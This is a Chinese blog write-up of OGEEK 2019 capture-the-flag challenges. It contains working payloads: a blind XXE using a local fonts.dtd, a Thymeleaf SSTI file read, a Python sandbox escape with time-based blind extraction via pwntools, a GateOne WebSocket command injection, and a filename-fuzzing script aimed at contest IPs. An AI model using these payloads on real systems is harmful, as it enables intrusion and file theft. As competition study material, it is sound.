美文网首页
OGEEK 2019

OGEEK 2019

作者: 蓝小俊 | 来源:发表于2019-08-27 22:29 被阅读0次

    import('0'+'s').getattribute('sy'+'stem')('whoami')
    import.getattribute('func_clo'+'sure')[0].cell_contents('o'+'s').getattribute('sy'+'stem')('sleep 5')

    LookAround

    • 知识点:Blind XXE
    • 解题步骤
      打开页面查看源代码,发现有一个这个定时器,每 10 秒发个 xml 请求

    测试一下这个接口,无回显,同时屏蔽了外网访问,就考虑来利用本地的 DTD 玩 XXE,题目提示了镜像名,下个同名镜像,创建个容器,寻找系统中的 dtd文档

    文章下面的视频就可以知道 tomcat:8-jre8 中的fonts.dtd可用,根据这篇文档中的payload进行改造得到flag:
    https://www.gosecure.net/blog/2019/07/16/automating-local-dtd-discovery-for-xxe-exploitation

    <?xml version="1.0" ?>
    <!DOCTYPE message [
        <!ENTITY % local_dtd SYSTEM "file:///usr/share/xml/fontconfig/fonts.dtd">
    
        <!ENTITY % expr 'aaa)>
            <!ENTITY &#x25; file SYSTEM "file:///flag">
            <!ENTITY &#x25; eval "<!ENTITY &#x26;#x25; error SYSTEM &#x27;file:///abcxyz/&#x25;file;&#x27;>">
            &#x25;eval;
            &#x25;error;
            <!ELEMENT aa (bb'>
    
        %local_dtd;
    ]>
    <message></message>
    

    参考资料:Blind XXE详解与Google CTF一道题分析

    render

    • 知识点:SSTI
    • 解题步骤
      查看源代码,发现关键代码:

    访问api页面,发现错误页面是 Spring boot 的

    测试到 [[${1+1}]]的时候返回了 2,说明是 Thymeleaf 渲染了。Thymeleaf 能拿两个中括号来取表达式的值

    参考:https://dotblogs.com.tw/cylcode/2018/09/21/170510 读取文件


    构造payload:{"content":"[[${new java.io.BufferedReader(new java.io.FileReader(\"/flag\")).readLine()}]]"}
    注意点:由于是json格式,所以请求头要加上类型,确保后端解析正常,否则会包415错误
    <?php
    error_reporting(0);
    include "../../utils/utils.php";
    if(isset($_REQUEST['filename'])  and preg_match("/^\w{8}$/", $_REQUEST['filename'])){   //\w 匹配字母或数字或下划线或汉字 等价于 '[^A-Za-z0-9_]' 匹配八次 
        $filename = strtolower($_REQUEST['filename']);  //strtolower() 函数把字符串转换为小写
        touch("backup/{$filename}.txt");  //创建指定文件
        unlink(glob("backup/*")[0]); //glob() 函数返回匹配指定模式的文件名或目录
    }
    else{
        highlight_file(__FILE__);
    }
    ?>
    

    正则匹配的是字母数字和下划线,固定长度为8,排序后会删除第一个文件,所以我们
    写入的文件排序在后面的话是不会被删除的,所以猜测,列表中存在存在某个不会被删除
    的文件,而这个目录又叫backup,所以猜测,可能会有隐藏的源码备份文件,而如果我们写入的文件排在固定文件之前,我们的文件会被删除。所以利用这个特性来fuzz固定文件的文件名,最后得到文件名为 aefebab8.txt

    import requests
    filename = ""
    letters=['1','2','3','4','5','6','7','8','9','a','b','c','d','e','f','g','h','i','j','k','l','m','n','u','p','q','r','s','t','o','v','w','x','y','z','A','B','C','D','E','F','G','H','I','J','K','L','M','N','O','P','Q','R','S','T','U','V','W','X','Y','Z','0']
    flag = 7
    for j in range(8):
        for i in letters:
            tempname = filename + i + "z"*(flag)
            # print(tempname)
            requests.get("http://47.107.255.20:18088/users/0a0d713b3e0e7d16e0ba9b7a425f7c07/",params={"filename": tempname})
            r = requests.get("http://47.107.255.20:18088/users/0a0d713b3e0e7d16e0ba9b7a425f7c07/backup/" + tempname + ".txt")
            # print(r.status_code)
            if r.status_code != 404:
                print(tempname)
                filename = filename + i
                flag=flag-1
                break
    

    访问aefebab8.txt,其中内容为

    <!-- src/8a66c58a168c9dc0fb622365cbe340fc.php -->
    
    <?php
    include "../utils/utils.php";
    
    $sandbox = Get_Sandbox();
    
    if(isset($_REQUEST['method'])){
        $method = $_REQUEST['method'];
    
        if($method == 'info'){
            phpinfo();
        }elseif($method == 'download' and isset($_REQUEST['url'])){
            $url = $_REQUEST['url'];
            $url_parse = parse_url($url);//解析一个 URL 并返回一个关联数组,包含在 URL 中出现的各种组成部分
    
            if(!isset($url_parse['scheme']) or $url_parse['scheme'] != 'http' or !isset($url_parse['host']) or $url_parse['host'] == ""){
                die("something wrong");
            }
    
            $path_info = pathinfo($url);
    
            if(strpos($path_info['filename'], ".") !== false){
                die("something wrong");
            }
    
            if(!Check_Ext($path_info['extension'])){
                die("something wrong");
            }
    
            $response = GetFileInfoFromHeader($url);
    
            $save_dir = "../users/${sandbox}/uploads/{$response['type']}/";
    
            if(is_dir(dirname($save_dir)) and !is_dir($save_dir)){
                mkdir($save_dir, 0755);
            }
    
            $save_path = "{$save_dir}{$path_info['filename']}.{$response['ext']}";
            echo "/uploads/{$response['type']}/{$path_info['filename']}.{$response['ext']}";
    
            if(!is_dir($save_path)){
                file_put_contents($save_path, $response['content']);
            }
        }
    }
    

    给了源文件地址和源码,,通过源文件查看phpinfo,可以得到网站根路径,以及知道有disable_function

    Easy Realworld Challenge

    因为题目上有一个log viewer,可以查看之前选手的操作记录(还是视频的),跟着telnet://172.18.0.3 用户ctf,密码ctf,之后利用PSAV方式于服务器建立连接接收数据。

    然后新建一个终端到生成的端口号上接收数据

    PSAV生成的例如:(172,18,0,3,131,116),那么生成的端口号就是:131*256+116 = 33652

    参考资料:ftp命令

    Easy Realworld Challenge 2

    寻找函数触发的地方,在WebSocket中触发执行

    在ssh 连接发起之后会获取一下当前连接目标的 ssh 指纹,也就触发这个命令了。所以我们就可以在这个时候从客户端发出一个恶意消息,服务端解析之后直接格式化到命令里就可以 RCE 了。

    GateOne来发送WebSocket,从而触发执行。所以我们可以自己构造 go.ws.send(JSON.stringify({'terminal:ssh_get_host_fingerprint': message}));语句,通过port来进行命令拼接,从而实现在终端上执行任意命令

    GateOne.ws.send('{"terminal:ssh_get_host_fingerprint":{"host":"www.baidu.com","port":"22;ls;"}}')
    

    所以拼接一下cat /ppppp_f_l_4_g_mmm文件的命令就可以拿到flag了

    PyBox

    • 考点:Python沙箱逃逸,时间盲注
    • 解题过程
      连接NC ,是一个Python的命令行交互

    经过测试,没有输出回显,还过滤了os,eval,system等函数,用闭包抽出来外部参数的变量 (Python3 所以 func_closure 和 closure 都可以使) 来引用 os 模块,再调用 system,因为 system 和 os 被屏蔽了,需要用加号连接起来绕过屏蔽。测试执行 sleep 5 成功了。

    本地测试用cut命令逐位读取文件

    创建布尔盲注条件语句:

    exp如下:

    from pwn import *
    context.log_level = "debug"
    sh = remote("47.112.108.17",12312, timeout=300)
    sh.recvuntil(">>>")
    result = ""
    for i in range(1, 46):
           for j in range(31, 255):
                  sendtime = time.time()
                  sh.sendline("__import__.__getattribute__('__clo'+'sure__')[0].cell_contents('o'+'s').__getattribute__('sy'+'stem')('a=`cut -b " + str(i) + " /home/flag`; [ $a = \"" + chr(j) + "\" ] && sleep 3 ')")
                  sh.recvuntil(">>>")
                  recvtime = time.time()
                  if recvtime - sendtime > 2:
                         print("get!")
                         result += chr(j)
                         print(result)
                         break
           if j == 254:
                  print(str(i) + " unknown!")
                  break
    print(result)
    

    2019

    • 解题过程
      解压得到一张图片,图片分析工具发现存在lsb隐写

    提取信息,先进行base64,然后进行base85解码,这完全是坑啊

    得到字符串QW8obWdIW11XTyxyOFVTM0dNMlIySSVZQjdzdA==,base64解密如下

    base85解码如下

    相关文章

      网友评论

          本文标题:OGEEK 2019

          本文链接:https://www.haomeiwen.com/subject/kzryectx.html